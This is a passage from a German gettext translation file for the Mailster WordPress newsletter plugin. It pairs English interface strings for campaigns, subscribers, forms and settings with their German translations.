msgid "search for more delivery methods"
msgstr "Suche nach mehr Sendemethoden"

#: views/newsletter/editbar.php:229
msgid "Search for posts"
msgstr "Suche nach Artikel"

#: cron.php:129 cron.php:129
msgid "sec"
msgstr "Sek"

#: views/settings/cron.php:98 views/settings/cron.php:104
msgctxt "short for second"
msgid "sec"
msgstr "Sek"

#: classes/settings.class.php:1588 views/settings/delivery.php:76
msgid "seconds"
msgstr "Sekunden"

#: includes/capability.php:61
msgid "see codeview"
msgstr "Codeansicht sehen"

#: includes/capability.php:181
msgid "see dashboard widget"
msgstr "Dashboard Widget sehen"

#: views/settings/wordpress-users.php:13
msgid "select the custom field which should sync with a certain meta field"
msgstr "wähle das Benutzerfeld welches mit einem gewissen Metadatenfeld synchronisiert werden soll"

#: views/settings/subscribers.php:9 views/settings/subscribers.php:28
msgid "send"
msgstr "sende"

#: classes/campaigns.class.php:817 classes/campaigns.class.php:843
#: classes/campaigns.class.php:855
msgid "send %1$s %2$s %3$s"
msgstr "sende %1$s %2$s %3$s"

#: views/newsletter/delivery.php:429 views/newsletter/delivery.php:521
msgid "send campaign only once"
msgstr "sende Kampagne nur einmal"

#: includes/capability.php:11
msgid "send campaigns"
msgstr "Kampagnen senden"

#: views/newsletter/delivery.php:282
msgid "send campaigns only on these weekdays"
msgstr "Kampagnen nur an diesen Wochentagen senden"

#: views/settings/delivery.php:63
msgid "send campaigns simultaneously instead of one after the other"
msgstr "Kampagnen gleichzeitig anstelle von hintereinander senden"

#: views/settings/wordpress-users.php:104
#: views/settings/wordpress-users.php:131
#: views/settings/wordpress-users.php:150
msgid "send confirmation (double-opt-in)"
msgstr "sende Bestätigung (Double-opt-in)"

#: classes/campaigns.class.php:754 classes/campaigns.class.php:826
msgid "send every %1$s %2$s"
msgstr "sende alle %1$s %2$s"

#: views/newsletter/delivery.php:126
msgid "send this auto responder"
msgstr "sende diesen Autoresponder"

#: views/newsletter/delivery.php:58
msgid "send this campaign"
msgstr "sende diese Kampagne"

#: classes/settings.class.php:1048
msgid "sending %s emails at once can cause problems with statistics cause of a server timeout or to much memory usage! You should decrease it if you have problems!"
msgstr "Das Senden von %s E-Mails auf einmal kann Probleme wie Server-Timout oder erhöhte Speichernutzung verursachen! Du solltest den den Wert verringern falls Probleme auftreten!"

#: classes/campaigns.class.php:3792 classes/subscribers.class.php:2905
#: views/newsletter/details.php:92 views/newsletter/details.php:122
msgid "sent"
msgstr "gesendet"

#: views/newsletter/delivery.php:274
msgid "set an end date for your campaign"
msgstr "bestimme ein Enddatum für deine Kampagne"

#: views/settings/tags.php:65
msgid "displays the latest posts content"
msgstr "zeigt den Inhalt des letzten Artikels"

#: classes/queue.class.php:1151 classes/cron.class.php:204
#: classes/cron.class.php:207
msgid "settings page"
msgstr "Einstellungsseite"

#: views/settings/tags.php:67
msgid "displays the latest posts date"
msgstr "zeigt das Datum des letzten Artikels"

#: views/settings/tags.php:66
msgid "displays the latest posts excerpt or content if no excerpt is defined"
msgstr "zeigt den Auszug des letzten Artikels oder den ganzen Inhalt falls kein Auszug vorhanden ist"

#: views/settings/template.php:12
msgid "show Templates"
msgstr "zeige Templates"

#: views/settings/tags.php:70
msgid "displays the permalink of post ID 15"
msgstr "zeigt den Link vom Artikel mit ID 15"

#: views/forms/detail.php:309
msgid "Show asterisk on required fields"
msgstr "Zeige Sternchen bei Pflichtfeldern"

#: views/settings/tags.php:69
msgid "displays the post title of post ID 23"
msgstr "zeigt den Titel des Artikels mit der ID 23"

#: views/newsletter/optionbar.php:101
msgid "show custom modules by default"
msgstr "standardmäßig Benutzerdefinierte Module zeigen"

#: classes/widget.class.php:374
msgid "do not round"
msgstr "nicht runden"

#: views/forms/detail.php:346
msgid "Show drop down instead of check boxes"
msgstr "Zeige ein Dropdown Menü anstelle von Checkboxen"

#: classes/conditions.class.php:183 classes/conditions.class.php:207
#: views/newsletter/editbar.php:33
msgid "does not match regex pattern"
msgstr "passt nicht mit regulären Ausdruck"

#: views/settings/frontend.php:187
msgid "show only"
msgstr "zeige nur"

#: views/templates/available-template.php:72
msgid "download template"
msgstr "download Template"

#: views/settings/wordpress-users.php:125
msgid "sign up only if comment is"
msgstr "nur wenn Kommmentar ist"

#: views/templates/available-template.php:93
msgid "download via Envato"
msgstr "via Envato herunterladen"

#: includes/capability.php:31
msgid "duplicate campaigns"
msgstr "Kampagnen duplizieren"

#: classes/manage.class.php:452
msgid "skip"
msgstr "überspringen"

#: includes/capability.php:36
msgid "duplicate others campaigns"
msgstr "Kampagnen anderer duplizieren"

#: views/setup.php:71
msgid "skip it"
msgstr "überspringen"

#: views/newsletter/editbar.php:211
msgid "Dynamic"
msgstr "Dynamisch"

#: views/setup.php:172 views/setup.php:232 views/setup.php:400
#: views/setup.php:430
msgid "Skip this Step"
msgstr "Diesen Schritt Überspringen"

#: views/newsletter/editbar.php:316
msgid "Dynamic content get replaced with the proper content as soon as the campaign get send. Check the quick preview to see the current status of dynamic elements."
msgstr "Dynamischer Inhalt wird mit dem eigentlichen Inhalt ersetzt sobald die Kampagne gesendet wird. Verwende die Vorschau um den aktuellen Status dynamischer Elemente zu sehen."

#: includes/autoresponder.php:24
msgid "something has been published"
msgstr "etwas veröffentlicht wurde"

#: classes/subscribers.class.php:2902 views/settings/frontend.php:35
#: views/dashboard/mb-campaigns.php:19 views/dashboard/mb-lists.php:11
msgid "edit"
msgstr "bearbeiten"

#: views/settings/wordpress-users.php:129
msgid "spam"
msgstr "Spam"

#: includes/capability.php:41
msgid "edit autoresponders"
msgstr "Autoresponder bearbeiten"

#: classes/campaigns.class.php:711
msgid "starts in %s"
msgstr "beginnt in %s"

#: includes/capability.php:6
msgid "edit campaigns"
msgstr "Kampagnen bearbeiten"

#: views/newsletter/editbar.php:210
msgid "Static"
msgstr "Statisch"

#: includes/capability.php:87
msgid "edit forms"
msgstr "Formular bearbeiten"

#: classes/settings.class.php:115
msgctxt "subscribe slug"
msgid "subscribe"
msgstr "anmelden"

#: includes/capability.php:133
msgid "edit lists"
msgstr "Listen bearbeiten"

#: views/forms/detail.php:349
msgid "Subscribe new users to"
msgstr "Neue Benutzer abonnieren folgende Listen"

#: includes/capability.php:46
msgid "edit others autoresponders"
msgstr "andere Autoresponder bearbeiten"

#: classes/subscribers.table.class.php:301
msgid "subscribed"
msgstr "abonniert"

#: includes/capability.php:21
msgid "edit others campaigns"
msgstr "Kampagnen anderer bearbeiten"

#: views/subscribers/detail.php:151
msgid "subscribed at"
msgstr "angemeldet am"

#: includes/capability.php:72
msgid "edit subscribers"
msgstr "Abonnenten bearbeiten"

#: views/manage.php:186 views/manage.php:398
msgid "subscribers not assigned to a list"
msgstr "Abonnenten, die nicht in einer Liste sind"

#: includes/capability.php:155
msgid "edit templates"
msgstr "Templates bearbeiten"

#: views/manage.php:287
msgid "super extreme high"
msgstr "super extrem gut"

#: views/manage.php:286
msgid "super high"
msgstr "super gut"

#: views/newsletter/delivery.php:590
msgid "switch to the edit mode"
msgstr "zum Bearbeitungsmodus wechseln"

#: views/single-newsletter.php:107
msgid "email"
msgstr "E-Mail"

#: views/newsletter/optionbar.php:80
msgid "template name"
msgstr "Name des Templates"

#: classes/subscribers.class.php:142
msgid "Emails"
msgstr "E-Mails"

#: classes/forms.class.php:1477
msgid "embed it somewhere"
msgstr "verwende diesen Code auf einer Seite"

#: views/newsletter/editbar.php:251
msgid "the eighth latest"
msgstr "achtletzten"

#: views/settings/frontend.php:168
msgid "enable archive function to display your newsletters in a reverse chronological order"
msgstr "verwende eine Archiv um deine Newsletter in umgekehrt-chronologischer Reihe anzuzeigen"

#: views/newsletter/editbar.php:254
msgid "the eleventh latest"
msgstr "elftletzten"

#: views/settings/bounce.php:10
msgid "Enable automatic bounce handling"
msgstr "Abgelehnte E-Mails automatische behandeln"

#: views/newsletter/editbar.php:239
msgid "the excerpt"
msgstr "den Auszug"

#: views/settings/general.php:43
msgid "enabled"
msgstr "aktiviert"

#: views/newsletter/editbar.php:248
msgid "the fifth latest"
msgstr "fünftletzten"

#: views/newsletter/delivery.php:263
msgid "end schedule"
msgstr "plane bis"

#: views/newsletter/editbar.php:247
msgid "the fourth latest"
msgstr "viertletzten"

#: classes/conditions.class.php:177 classes/conditions.class.php:205
#: views/newsletter/editbar.php:29
msgid "ends with"
msgstr "endet mit"

#: views/newsletter/editbar.php:239
msgid "the full content"
msgstr "den gesamten Inhalt"

#: views/settings/authentication.php:96
msgid "enter keys manually"
msgstr "Schlüssel manuell eingeben"

#: views/newsletter/editbar.php:244
msgid "the latest"
msgstr "letzten"

#: views/settings/texts.php:52
msgid "Enter your email"
msgstr "E-Mailaddresse angeben"

#: views/newsletter/editbar.php:252
msgid "the ninth latest"
msgstr "neuntletzten"

#: views/newsletter/editbar.php:245
msgid "the second latest"
msgstr "zweitletzten"

#: classes/settings.class.php:316
msgid "the settings page"
msgstr "der Einstellungsseite"

#: classes/campaigns.class.php:1393
msgid "error!"
msgstr "Fehler!"

#: views/newsletter/editbar.php:250
msgid "the seventh latest"
msgstr "siebtletzten"

#: views/newsletter/delivery.php:397
msgid "every %1$s %2$s"
msgstr "jede(r) %1$s %2$s"

#: views/newsletter/editbar.php:249
msgid "the sixth latest"
msgstr "sechstletzten"

#: views/newsletter/editbar.php:217
msgid "Excerpt"
msgstr "Auszug"

#: views/newsletter/editbar.php:253
msgid "the tenth latest"
msgstr "zehntletzten"

#: includes/capability.php:118
msgid "export subscribers"
msgstr "Abonnenten exportieren"

#: views/newsletter/editbar.php:246
msgid "the third latest"
msgstr "drittletzten"

#: views/newsletter/editbar.php:255
msgid "the twelfth latest"
msgstr "zwölftletzten"

#: views/forms/detail.php:315
msgid "Fill fields with known data if user is logged in"
msgstr "Felder mit bekannten Daten ausfüllen, falls Benutzer angemeldet ist"

#: views/settings/frontend.php:190
msgid "finished"
msgstr "beendete"

#: classes/subscribers.class.php:104
msgid "This email address already exists!"
msgstr "Diese E-Mailadresse existiert bereits"

#: views/newsletter/delivery.php:582
msgid "finished in approx. %s"
msgstr "beendet in ca. %s"

#: classes/settings.class.php:394 views/settings/subscribers.php:105
#: views/settings/subscribers.php:118
msgid "this field is selected by default"
msgstr "dieses Feld ist standardmäßig ausgewählt"

#: classes/widget.class.php:380
msgid "format number"
msgstr "Zahl formatieren"

#: classes/settings.class.php:252 classes/upgrade.class.php:1732
#: includes/updates.php:66
msgid "forward to a friend"
msgstr "an einen Freund weiterleiten"

#: classes/subscribers.class.php:103
msgid "This isn't a valid email address!"
msgstr "Das ist keine gültige E-Mailadresse!"

#: classes/queue.class.php:1149
msgid "timeout reached"
msgstr "Servertimeout erreicht"

#: views/subscribers/detail.php:317 views/subscribers/detail.php:340
#: views/newsletter/editbar.php:301
msgid "from"
msgstr "von"

#: views/settings/authentication.php:21
msgid "to get help here"
msgstr "um Hilfe zu erhalten"

#: classes/notification.class.php:989
msgid "from other countries"
msgstr "von anderen Ländern"

#: views/newsletter/optionbar.php:18
msgid "toggle HTML/Plain-Text view"
msgstr "zwischen HTML- und Textansicht umschalten"

#: classes/notification.class.php:269
msgid "from your settings page"
msgstr "von den Einstellungen"

#: views/newsletter/optionbar.php:15
msgid "toggle HTML/code view"
msgstr "zwischen HTML und Codeansicht umschalten"

#: classes/tests.class.php:590
msgid "frontend settings page"
msgstr "Frontend Einstellung"

#: views/settings/capabilities.php:16 views/manage.php:87 views/manage.php:109
#: views/manage.php:177 views/manage.php:390 views/newsletter/receivers.php:36
msgid "toggle all"
msgstr "alle umschalten"

#: views/newsletter/editbar.php:218
msgid "Full Content"
msgstr "Gesamter Inhalt"

#: views/newsletter/details.php:82
msgid "took %s"
msgstr "brauchte %s"

#: views/settings/authentication.php:94
msgid "generate Keys"
msgstr "Schlüssel generieren"

#: views/manage.php:180 views/manage.php:186 views/manage.php:392
#: views/manage.php:398
msgid "total"
msgstr "gesamt"

#: views/settings/template.php:12
msgid "get more"
msgstr "mehr"

#: views/newsletter/template.php:40
msgid "get text from HTML version"
msgstr "lade Text von der HTML Version"

#: views/subscribers/detail.php:61
msgid "goto WordPress User profile"
msgstr "zum WordPress Benutzerprofil"

#: classes/subscribers.class.php:3357
msgid "Hardbounced"
msgstr "Unzustellbar"

#: classes/forms.table.class.php:110 classes/lists.class.php:363
msgid "undefined"
msgstr "unbenannt"

#: classes/campaigns.class.php:840 views/newsletter/delivery.php:451
msgid "has been clicked"
msgstr "geklickt wurde"

#: views/newsletter/optionbar.php:9
msgid "undo"
msgstr "rückgängig"

#: classes/campaigns.class.php:839 views/newsletter/delivery.php:450
msgid "has been opened"
msgstr "geöffnet wurde"

#: classes/forms.table.class.php:172 classes/templates.class.php:1275
#: classes/campaigns.class.php:4341 classes/subscribers.table.class.php:222
#: classes/notification.class.php:507 classes/ajax.class.php:1039
#: views/subscribers/detail.php:52 views/subscribers/detail.php:155
#: views/subscribers/detail.php:169 views/subscribers/detail.php:172
#: views/newsletter/details.php:161
msgid "unknown"
msgstr "unbekannt"

#: classes/campaigns.class.php:838 views/newsletter/delivery.php:449
msgid "has been sent"
msgstr "gesendet wurde"

#: classes/campaigns.class.php:3761
msgid "unopens"
msgstr "ungeöffnete"

#: classes/campaigns.class.php:3793
msgid "has not opened yet"
msgstr "hat bis jetzt noch nicht geöffnet"

#: includes/updates.php:38
msgid "unsubscribe"
msgstr "Abmeldung"

#: classes/campaigns.class.php:3793
msgid "has opened"
msgstr "hat geöffnet"

#: classes/settings.class.php:116
msgctxt "unsubscribe slug"
msgid "unsubscribe"
msgstr "abmelden"

#: classes/campaigns.class.php:3795
msgid "has unsubscribed"
msgstr "hat sich abgemeldet"

#: classes/settings.class.php:250
msgctxt "unsubscribelink"
msgid "unsubscribe"
msgstr "abmelden"

#: classes/forms.class.php:1502
msgid "height"
msgstr "Höhe"

#: views/lists/detail.php:125
msgid "unsubscribe rate"
msgstr "Abmelderate"

#: classes/templates.class.php:1017 classes/queue.class.php:1015
#: includes/updates.php:586 views/settings/cron.php:27
#: views/settings/cron.php:61 views/setup.php:161
msgid "here"
msgstr "hier"

#: classes/subscribers.table.class.php:302
msgid "unsubscribed"
msgstr "abgemeldet"

#: views/manage.php:285
msgid "high"
msgstr "gut"

#: views/subscribers/detail.php:457
msgid "unsubscribed your newsletter"
msgstr "meldete sich ab"

#: classes/campaigns.class.php:738 includes/autoresponder.php:7
#: views/newsletter/delivery.php:231
msgid "hour(s)"
msgstr "Stunde(n)"

#: classes/campaigns.class.php:3767
msgid "unsubscribes"
msgstr "Abmeldungen"

#: classes/forms.class.php:1496
msgid "iFrame Version"
msgstr "iFrame Version"

#: classes/campaigns.class.php:783
msgid "until %s"
msgstr "bis %s"

#: classes/template.class.php:449
msgctxt "common module name"
msgid "iPhone Promotion"
msgstr "iPhone Promotion"

#: classes/helper.class.php:758
msgid "Image ID"
msgstr "Bild ID"

#: views/newsletter/editbar.php:86 views/newsletter/editbar.php:198
msgid "image description"
msgstr "Bildbeschreibung"

#: classes/settings.class.php:253 classes/upgrade.class.php:1733
msgid "update profile"
msgstr "Profil aktualisieren"

#: classes/campaigns.class.php:844 classes/campaigns.class.php:856
#: views/settings/subscribers.php:12 views/settings/subscribers.php:31
msgid "immediately"
msgstr "sofort"

#: views/templates/installed-template.php:53
#: views/templates/available-template.php:62
msgid "update template"
msgstr "Template aktualisieren"

#: includes/capability.php:113
msgid "import WordPress Users"
msgstr "WordPress Benutzer importieren"

#: includes/capability.php:170
msgid "update templates"
msgstr "Templates aktualisieren"

#: classes/subscribers.class.php:771
msgid "import on %s"
msgstr "importiert am %s"

#: views/dashboard/mb-mailster.php:51
msgid "update to %s now"
msgstr "jetzt auf %s aktualisieren"

#: includes/capability.php:108
msgid "import subscribers"
msgstr "Abonnenten importieren"

#: views/templates/installed-template.php:47
msgid "update via Envato"
msgstr "via Envato aktualisieren"

#: classes/subscribers.class.php:2916
msgctxt "in [city], [country]"
msgid "in %1$s, %2$s"
msgstr "in %1$s, %2$s"

#: classes/forms.class.php:569
msgid "updating form requires ID"
msgstr "das Aktualisieren erfordert eine ID"

#: classes/campaigns.class.php:731
msgid "inactive"
msgstr "inaktiv"

#: views/manage.php:201
msgid "Include Header"
msgstr "Kopfzeile einfügen"

#: includes/capability.php:165
msgid "upload templates"
msgstr "Templates hochladen"

#: views/newsletter/optionbar.php:99
msgid "include original modules from %s"
msgstr "original Module von %s einschließen "

#: classes/forms.class.php:1503
msgid "include themes style.css"
msgstr "verwende Themes style.css"

#: views/settings/advanced.php:48
msgid "included in WordPress"
msgstr "inkludiert mit WordPress"

#: views/manage.php:42
msgid "Upload you subscribers as comma-separated list (CSV)"
msgstr "Lade deine Abonnenten als CSV Datei hoch"

#: views/newsletter/editbar.php:68 views/newsletter/editbar.php:96
#: views/newsletter/editbar.php:199
msgid "insert URL"
msgstr "URL einfügen"

#: classes/templates.class.php:563
msgid "uploading zip file %s"
msgstr "Hochladen der ZIP Datei %s"

#: classes/subscribers.class.php:941
msgid "invalid email address"
msgstr "ungültige E-Mailadresse"

#: classes/manage.class.php:62
msgid "Uploading...%s"
msgstr "upload..%s"

#: classes/conditions.class.php:172 classes/conditions.class.php:189
#: classes/conditions.class.php:200 classes/conditions.class.php:213
#: views/newsletter/editbar.php:24
msgid "is"
msgstr "ist"

#: views/settings/subscribers.php:7 views/settings/subscribers.php:25
#: views/settings/general.php:64
msgid "use"
msgstr "verwende"

#: classes/conditions.class.php:178 classes/conditions.class.php:191
#: views/newsletter/editbar.php:30
msgid "is greater"
msgstr "ist größer"

#: views/subscribers/detail.php:108 views/subscribers/detail.php:124
#: views/subscribers/detail.php:125 views/subscribers/detail.php:126
#: views/subscribers/detail.php:189
msgid "use %1$s as placeholder tag to replace it with %2$s"
msgstr "verwende %1$s als Platzhalter um ihn mit %2$s zu ersetzen"

#: classes/conditions.class.php:180 classes/conditions.class.php:193
msgid "is greater or equal"
msgstr "ist größer od. gleich"

#: views/newsletter/editbar.php:338
msgid "use HighDPI/Retina ready images if available"
msgstr "verwende HighDPI/Retina ready Bilder falls verfügbar"

#: classes/conditions.class.php:173 classes/conditions.class.php:190
#: classes/conditions.class.php:201 classes/conditions.class.php:214
#: views/newsletter/editbar.php:25
msgid "is not"
msgstr "ist nicht"

#: views/newsletter/delivery.php:485
msgid "use `do_action(\"hook_name\")`, or `do_action(\"hook_name\", $subscriber_id)` to trigger this campaign"
msgstr "verwende `do_action(\"hook_name\")` oder `do_action(\"hook_name\", $subscriber_id)` um diese Kampagne zu starten"

#: classes/conditions.class.php:179 classes/conditions.class.php:192
#: views/newsletter/editbar.php:31
msgid "is smaller"
msgstr "ist kleiner"

#: views/newsletter/editbar.php:218
msgid "use the content"
msgstr "verwende den gesamten Inhalt"

#: classes/conditions.class.php:181 classes/conditions.class.php:194
msgid "is smaller or equal"
msgstr "ist kleiner od. gleich"

#: views/newsletter/editbar.php:217
msgid "use the excerpt if exists otherwise use the content"
msgstr "verwende den Auszug falls einer vorhanden ist, sonst den Inhalt"

#: views/settings/wordpress-users.php:6
msgid "keep WordPress User data and Subscriber data synchronized. Only affects existing Subscribers"
msgstr "hält WordPress Benutzer und Abonnenten synchron. Nur für existierende Abonnenten"

#: classes/placeholder.class.php:1293
msgid "use the tag %s as url in the editbar"
msgstr "verwende den tag %s als URL in der Bearbeitungspaneele "

#: views/settings/cron.php:52 views/setup.php:493
msgid "knowledge base"
msgstr "Knowledge Base"

#: views/forms/detail.php:329
msgid "Use this form as user profile."
msgstr "Verwende diese Formular als Profil"

#: views/settings/advanced.php:49
msgid "latest (%s)"
msgstr "letzte (%s)"

#: views/settings/advanced.php:46
msgid "Use version"
msgstr "Verwende die Version"

#: views/subscribers/detail.php:172
msgid "latest known IP"
msgstr "letzte bekannte IP"

#: views/forms/detail.php:392
msgid "Used template file"
msgstr "Verwendete Datei"

#: views/subscribers/detail.php:176
msgid "latest updated"
msgstr "letztes Update"

#: includes/autoresponder.php:16
msgid "user signed up"
msgstr "Benutzer sich angemeldet hat"

#: classes/campaigns.class.php:711
msgid "less than a minute"
msgstr "weniger als einer Minute"

#: includes/autoresponder.php:20
msgid "user unsubscribed"
msgstr "Benutzer sich abgemeldet hat"

#: classes/template.class.php:892
msgid "light"
msgstr "hell"

#: views/forms/detail.php:350
msgid "Users can subscribe to"
msgstr "Benutzer können folgende Listen abonnieren"

#: classes/ajax.class.php:2456
msgid "load it"
msgstr "laden"

#: views/forms/detail.php:345
msgid "Users decide which list they subscribe to"
msgstr "Benutzer entscheiden welche Listen sie abonnieren möchten"

#: classes/ajax.class.php:1372 classes/ajax.class.php:1427
msgid "Load more entries (%s left)"
msgstr "Lade weitere Einträge (noch %s)"

#: views/settings/wordpress-users.php:93
msgid "users to subscribe"
msgstr "Besucher sich anzumelden"

#: classes/campaigns.class.php:3812
msgid "load more recipients from this campaign"
msgstr "lade mehr Empfänger dieser Kampagne"

#: views/manage.php:103
msgid "users without a role"
msgstr "Benutzer ohne Rolle"

#: classes/campaigns.class.php:1336
msgid "loading"
msgstr "Lade"

#: classes/ajax.class.php:2108
msgid "verified"
msgstr "verifiziert"

#: classes/notification.class.php:938
msgid "location of %d subscriber"
msgid_plural "location of %d subscribers"
msgstr[0] "Ort von %d Abonnent"
msgstr[1] "Ort von %d Abonnenten"

#: classes/subscribers.class.php:771 classes/subscribers.class.php:778
#: classes/subscribers.class.php:783 classes/subscribers.class.php:788
#: classes/subscribers.class.php:793 classes/subscribers.class.php:801
#: classes/subscribers.class.php:804 classes/subscribers.class.php:807
msgid "via"
msgstr "über"

#: views/manage.php:283
msgid "low"
msgstr "niedrig"

#: views/dashboard/mb-mailster.php:51
msgid "view changelog"
msgstr "Änderungen anzeigen"

#: classes/manage.class.php:456
msgid "Low memory usage (slower)"
msgstr "Verwende weniger Speicher (langsamer)"

#: views/settings/frontend.php:37
msgid "visit"
msgstr "ansehen"

#: includes/capability.php:145
msgid "manage addons"
msgstr "Erweiterungen managen"

#: classes/settings.class.php:251 includes/updates.php:39
msgid "webversion"
msgstr "Webversion"

#: includes/capability.php:186
msgid "manage capabilities"
msgstr "Berechtigungen bearbeiten"

#: classes/campaigns.class.php:740 includes/autoresponder.php:9
#: views/newsletter/delivery.php:233 views/newsletter/delivery.php:371
msgid "week(s)"
msgstr "Woche(n)"

#: includes/capability.php:191
msgid "manage licenses"
msgstr "Lizenzen managen"

#: views/settings/subscribers.php:14 views/settings/subscribers.php:33
msgid "weekly"
msgstr "wöchentlich"

#: includes/capability.php:103
msgid "manage subscribers"
msgstr "Abonnenten verwalten"

#: includes/capability.php:150
msgid "manage templates"
msgstr "Templates verwalten"

#: classes/campaigns.class.php:3668 views/newsletter/receivers.php:106
msgid "who have not opened"
msgstr "die nicht geöffnet haben"

#: views/settings/wordpress-users.php:54
msgid "manually sync all existing users based on the above settings. (save required)"
msgstr "synchronisiere alle existierenden Benutzer anhand der obigen Einteilungen (erfordert ein Speichern)"

#: classes/campaigns.class.php:3664 views/newsletter/receivers.php:102
msgid "who have not received"
msgstr "die nicht erhalten haben"

#: classes/conditions.class.php:182 classes/conditions.class.php:206
#: views/newsletter/editbar.php:32
msgid "match regex pattern"
msgstr "passt mit regulären Ausdruck"

#: classes/campaigns.class.php:3665 views/newsletter/receivers.php:103
msgid "who have opened"
msgstr "die geöffnet haben"

#: classes/manage.class.php:452
msgid "merge"
msgstr "zusammenführen"

#: classes/campaigns.class.php:3667 views/newsletter/receivers.php:105
msgid "who have opened and clicked"
msgstr "die geöffnet und geklickt haben"

#: views/settings/delivery.php:71
msgid "milliseconds"
msgstr "Millisekunden"

#: classes/campaigns.class.php:3666 views/newsletter/receivers.php:104
msgid "who have opened but not clicked"
msgstr "die geöffnet aber nicht geklickt haben"

#: views/settings/cron.php:92
msgctxt "short for minute"
msgid "min"
msgstr "min"

#: classes/campaigns.class.php:3663 views/newsletter/receivers.php:101
msgid "who have received"
msgstr "die erhalten haben"

#: classes/campaigns.class.php:737 includes/autoresponder.php:6
msgid "minute(s)"
msgstr "Minute(n)"

#: views/settings/cron.php:109
msgid "why?"
msgstr "warum?"

#: classes/campaigns.class.php:741 includes/autoresponder.php:10
#: views/newsletter/delivery.php:234 views/newsletter/delivery.php:372
msgid "month(s)"
msgstr "Monat(e)"

#: classes/forms.class.php:1386
msgid "widget"
msgstr "Widget"

#: views/settings/subscribers.php:15 views/settings/subscribers.php:34
msgid "monthly"
msgstr "monatlich"

#: classes/forms.class.php:1501
msgid "width"
msgstr "Breite"

#: views/subscribers/detail.php:163
msgid "more"
msgstr "mehr"

#: views/newsletter/optionbar.php:100
msgid "will append the existing modules to your custom ones"
msgstr "hängt die existierenden Module zu deinen eigenen an"

#: classes/settings.class.php:401 views/settings/subscribers.php:86
msgid "move down"
msgstr "nach unten bewegen"

#: classes/subscribers.class.php:2910
msgid "with %s"
msgstr "mit %s"

#: classes/settings.class.php:400 views/settings/subscribers.php:85
msgid "move up"
msgstr "nach oben bewegen"

#: views/subscribers/detail.php:168
msgid "with IP %s"
msgstr "mit IP %s"

#: views/settings/cron.php:108 views/subscribers/detail.php:180
msgid "never"
msgstr "nie"

#: classes/manage.class.php:70
msgid "Writing file: %s"
msgstr "schreibe Datei: %s"

#: views/settings/authentication.php:85
msgid "new Keys"
msgstr "neue Schlüssel"

#: classes/campaigns.class.php:4138
msgid "wrong post type"
msgstr "ungültiger Posttype"

#: views/settings/wordpress-users.php:91
msgid "new WordPress users can choose to sign up on the register page"
msgstr "neue WordPress User können sich auf der Registrierungsseite anmelden"

#: classes/campaigns.class.php:742 includes/autoresponder.php:11
#: views/newsletter/delivery.php:373
msgid "year(s)"
msgstr "Jahr(e)"

#: views/settings/texts.php:51
msgid "New confirmation message"
msgstr "Neue Benachrichtigung"

#: classes/notification.class.php:696 views/subscribers/detail.php:219
msgid "yes"
msgstr "ja"

#: views/forms/detail.php:365
msgid "new subscribers are subscribed instantly without confirmation."
msgstr "neue Abonnenten werden sofort angemeldet ohne dies zu bestätigen."

#: views/settings/tags.php:68
msgid "you can also use absolute values"
msgstr "Du kannst auch absolute Werte verwenden"

#: views/forms/detail.php:367
msgid "new subscribers must confirm their subscription."
msgstr "neue Abonnenten müssen ihre Anmeldung betätigen."

#: classes/update.class.php:146
msgid "your new site"
msgstr "deine neuen Seite"

#: includes/static.php:10
msgctxt "Newsletter Homepage page slug"
msgid "newsletter-signup"
msgstr "newsletter-anmeldung"

#: views/templates/available-template.php:34
msgid "your version"
msgstr "deine Version"

#: classes/campaigns.class.php:1324 classes/campaigns.class.php:1367
#: classes/subscribers.class.php:97 classes/lists.class.php:71
#: classes/manage.class.php:48
msgid "next"
msgstr "nächster"

#: classes/campaigns.class.php:762
msgid "next campaign in %s"
msgstr "nächste Kampagne in %s"

#: views/newsletter/delivery.php:244
msgid "next schedule"
msgstr "Nächster Start"

#: classes/manage.class.php:182
msgid "nickname"
msgstr "Spitzname"

#: classes/notification.class.php:696 views/subscribers/detail.php:219
msgid "no"
msgstr "nein"

#: classes/manage.class.php:377
msgid "no Custom Fields defined!"
msgstr "keine Benutzerdefinierten Felder bestimmt"

#: classes/ajax.class.php:2064
msgid "no TXT record found"
msgstr "kein TXT Eintrag gefunden"

#: views/lists/detail.php:191 views/subscribers/detail.php:523
msgid "no activity yet"
msgstr "keine Aktivitäten bis jetzt"

#: views/lists/detail.php:82
msgid "no description"
msgstr "keine Beschreibung"

#: classes/ajax.class.php:1379 classes/ajax.class.php:1435
msgid "No entries found!"
msgstr "Keine Einträge gefunden"

#: classes/campaigns.class.php:896 views/newsletter/receivers.php:77
msgid "no lists selected"
msgstr "keine Liste ausgewählt"

#: views/newsletter/details.php:87
msgid "no preheader"
msgstr "kein Preheader"

#: classes/campaigns.class.php:689 classes/campaigns.class.php:701
msgid "no receivers!"
msgstr "Keine Empfänger!"

#: views/manage.php:368 views/manage.php:427
msgid "No Subscriber found!"
msgstr "keine Abonnenten gefunden"

#: classes/manage.class.php:864
msgid "No Subscribers found!"
msgstr "Keine Abonnenten gefunden!"

#: classes/manage.class.php:1332
msgid "No Subscribers removed"
msgstr "Keine Abonnenten entfernt"

#: views/conditions/conditions.php:241 views/conditions/conditions.php:264
#: views/conditions/conditions.php:322 views/newsletter/delivery.php:471
msgid "no title"
msgstr "kein Titel"

#: classes/settings.class.php:1594 classes/settings.class.php:1605
#: views/settings/bounce.php:39
msgid "none"
msgstr "keine"

#: views/manage.php:284
msgid "normal"
msgstr "normal"

#: views/settings/wordpress-users.php:128
msgid "not approved"
msgstr "nicht genehmigt"

#: classes/ajax.class.php:2112
msgid "not verified"
msgstr "nicht verifiziert"

#: classes/subscribers.class.php:2905 classes/subscribers.class.php:2906
msgid "not yet"
msgstr "noch nicht"

#: views/subscribers/detail.php:196
msgid "nothing selected"
msgstr "nichts ausgewählt"

#: views/newsletter/delivery.php:411
msgid "of the users %1$s value"
msgstr "des Benutzers %1$s Wert"

#: views/settings/privacy.php:49
msgid "official website"
msgstr "offiziellen Webseite"

#: views/newsletter/delivery.php:65 views/newsletter/delivery.php:249
#: views/newsletter/delivery.php:269
msgctxt "send campaign \"on\" (date) \"at\" (time)"
msgid "on %1$s @ %2$s"
msgstr "am %1$s um %2$s"

#: views/newsletter/delivery.php:406
msgid "on the exact date"
msgstr "beim exaktem Datum"

#: classes/notification.class.php:177 classes/notification.class.php:205
msgid "on your settings page"
msgstr "in den Einstellungen"

#: views/newsletter/delivery.php:164
msgid "only for subscribers who canceled their subscription"
msgstr "nur für Abonnenten, die sich nach diesem Datum abgemeldet haben"

#: views/newsletter/delivery.php:161
msgid "only for subscribers who signed up"
msgstr "nur für Abonnenten, die sich nach diesem Datum angemeldet haben"

#: classes/campaigns.class.php:904 views/newsletter/delivery.php:296
#: views/newsletter/receivers.php:84
msgid "only if"
